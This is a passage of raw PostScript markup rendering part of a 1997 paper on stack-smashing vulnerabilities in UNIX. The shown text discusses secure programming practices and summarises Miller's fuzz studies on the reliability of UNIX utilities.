SET_CMYK GS n 4283 3257 M (runs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4636 3257 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4841 3257 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4981 3257 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5721 3257 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6065 3257 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6270 3257 M (not. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6632 3257 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6837 3257 M (summary, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2981 M (automated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1977 2981 M (debugging ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2760 2981 M (tools ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3165 2981 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3451 2981 M (useful ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3940 2981 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4151 2981 M (correcting ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4908 2981 M (known ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5442 2981 M (vulnerabilities, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6517 2981 M (however, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7214 2981 M (they ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2705 M (cannot detect future vulnerabilities and are limited as security tools.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2429 M (Security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2305 2429 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2592 2429 M (stability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3174 2429 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3425 2429 M (synonymous. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4397 2429 M (Programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5084 2429 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5380 2429 M (use ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5649 2429 M (secure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6122 2429 M (functions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6788 2429 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7075 2429 M (accept ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2153 M (less ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1514 2153 M (bad ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1815 2153 M (input ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2217 2153 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2555 2153 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2820 2153 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3093 2153 M (only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3449 2153 M (more ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3853 2153 M (secure, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4382 2153 M (but ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4655 2153 M (run ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4938 2153 M (more ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5342 2153 M (efficiently ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6087 2153 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6388 2153 M (build ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6790 2153 M (faster. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7306 2153 M (By ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1877 M (changing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1867 1877 M (existing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2441 1877 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2803 1877 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3091 1877 M (writing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3619 1877 M (new ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3944 1877 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4306 1877 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4649 1877 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5224 1877 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5401 1877 M (mind, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5833 1877 M (both ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6176 1877 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6898 1877 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7260 1877 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1601 M (non-privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2269 1601 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2668 1601 M (share ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3105 1601 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3393 1601 M (benefits. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4089 1601 M (Recalling ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4811 1601 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5099 1601 M (ease ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5471 1601 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5685 1601 M (which ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6176 1601 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6935 1601 M (program ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1325 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1954 1325 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2284 1325 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2540 1325 M (transferred, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3404 1325 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3595 1325 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3805 1325 M (important ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4551 1325 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4779 1325 M (note ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5164 1325 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5512 1325 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6285 1325 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6698 1325 M (often ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7139 1325 M (trusts ) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 23 23 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 9848 M (non-privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2275 9848 M (code. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2765 9848 M (Privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3541 9848 M (processes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4272 9848 M (may ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4651 9848 M (assume ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5234 9848 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5575 9848 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5833 9848 M (binaries, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6494 9848 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7260 9848 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9572 M (non-privileged, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2279 9572 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2535 9572 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2716 9572 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2925 9572 M (trusted. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3514 9572 M (By ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3760 9572 M (using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4172 9572 M (more ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4567 9572 M (secure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5045 9572 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6004 9572 M (practices ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6648 9572 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6866 9572 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7084 9572 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9296 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1727 9296 M (code, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2145 9296 M (every ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2577 9296 M (segment ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3194 9296 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3395 9296 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3660 9296 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4036 9296 M (base ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4394 9296 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4567 9296 M (strengthened. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5521 9296 M (Security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6138 9296 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6440 9296 M (robustness ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7205 9296 M (both ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9020 M (involve ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1768 9020 M (thinking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2388 9020 M (about ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2824 9020 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3094 9020 M (ranges ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3596 9020 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3802 9020 M (allowable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4515 9020 M (inputs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4988 9020 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5295 9020 M (responses, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6052 9020 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6359 9020 M (limiting ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6952 9020 M (them ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7352 9020 M (so ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8744 M (undesirable responses are not produced.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8468 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1908 8468 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2050 8468 M (recent ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2525 8468 M (study ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2953 8468 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3187 8468 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3329 8468 M (research ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3953 8468 M (team ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4345 8468 M (lead ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4690 8468 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4924 8468 M (Barton ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5445 8468 M (P. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5648 8468 M (Miller ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6132 8468 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6320 8468 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6591 8468 M (University ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 8468 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8192 M (Wisconsin-Madison ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2612 8192 M (entitled ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 3175 8192 M (An ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3425 8192 M (Empirical ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4155 8192 M (Study ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4589 8192 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4783 8192 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5051 8192 M (Reliability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5808 8192 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6002 8192 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6456 8192 M (Utilities) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6991 8192 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7056 8192 M (\(1989\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7916 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1510 7916 M (its ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1728 7916 M (successor ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 2428 7916 M (Fuzz ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2804 7916 M (Revisited: ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3531 7916 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3694 7916 M (Re-examination ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4808 7916 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4998 7916 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5262 7916 M (Reliability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6015 7916 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6205 7916 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6655 7916 M (Utilities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7251 7916 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7640 M (Services) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1755 7640 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1833 7640 M (\(1995\), ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2396 7640 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2676 7640 M (stability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3288 7640 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3605 7640 M (reliability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4328 7640 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4544 7640 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4695 7640 M (number ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5281 7640 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5497 7640 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5990 7640 M (implementations ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7176 7640 M (were ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7364 M (tested. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1760 7364 M (While ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2248 7364 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2570 7364 M (study ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3012 7364 M (does ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3399 7364 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3693 7364 M (focus ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4136 7364 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4384 7364 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4874 7364 M (overflows ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5622 7364 M (specifically, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6513 7364 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6687 7364 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6880 7364 M (primarily ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7088 M (concerned ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1933 7088 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2277 7088 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2529 7088 M (reliability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3224 7088 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3513 7088 M (stability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4097 7088 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4285 7088 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4750 7088 M (utilities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5297 7088 M (when ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5706 7088 M (flooded ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6263 7088 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6607 7088 M (invalid ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7117 7088 M (input. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6812 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1400 6812 M (M) ST -3 0 MR (i) ST -3 0 MR (l) ST -4 0 MR (l) ST -4 0 MR (e) ST -4 0 MR (r) ST -4 0 MR (') ST -4 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1971 6812 M (study, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2433 6812 M (over ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2789 6812 M (80 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3015 6812 M (different ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3649 6812 M (utility ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4105 6812 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4795 6812 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5021 6812 M (nine ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5367 6812 M (different ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6001 6812 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6477 6812 M (platforms ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7176 6812 M (were ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6536 M (tested. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1746 6536 M (Seven ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2219 6536 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2424 6536 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2832 6536 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3314 6536 M (platforms ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4019 6536 M (originate ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4676 6536 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5067 6536 M (commercial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5920 6536 M (vendors, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6555 6536 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6861 6536 M (two ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7176 6536 M (were ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6260 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1586 6260 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1841 6260 M (`) ST -5 0 MR (f) ST -5 0 MR (r) ST -5 0 MR (e) ST -5 0 MR (e) ST -6 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2239 6260 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2707 6260 M (community. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3601 6260 M (It ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3755 6260 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3918 6260 M (interesting ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4672 6260 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4853 6260 M (note ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5191 6260 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5492 6260 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5747 6260 M (average ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6317 6260 M (failure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6804 6260 M (rate ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7106 6260 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 6260 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5984 M (tools ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1590 5984 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1885 5984 M (utilities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2438 5984 M (available ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3093 5984 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3314 5984 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3572 5984 M (commercial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4414 5984 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5097 5984 M (systems ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5680 5984 M (tested ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6123 5984 M (ranged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6631 5984 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7011 5984 M (18% ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 5984 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5708 M (43%, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1593 5708 M (while ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2007 5708 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2255 5708 M (average ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2818 5708 M (failure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3298 5708 M (rate ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3593 5708 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3777 5708 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4025 5708 M (Linux/GNU ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4873 5708 M (utilities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5416 5708 M (ranged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5914 5708 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6284 5708 M (6% ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6551 5708 M (to ) ST 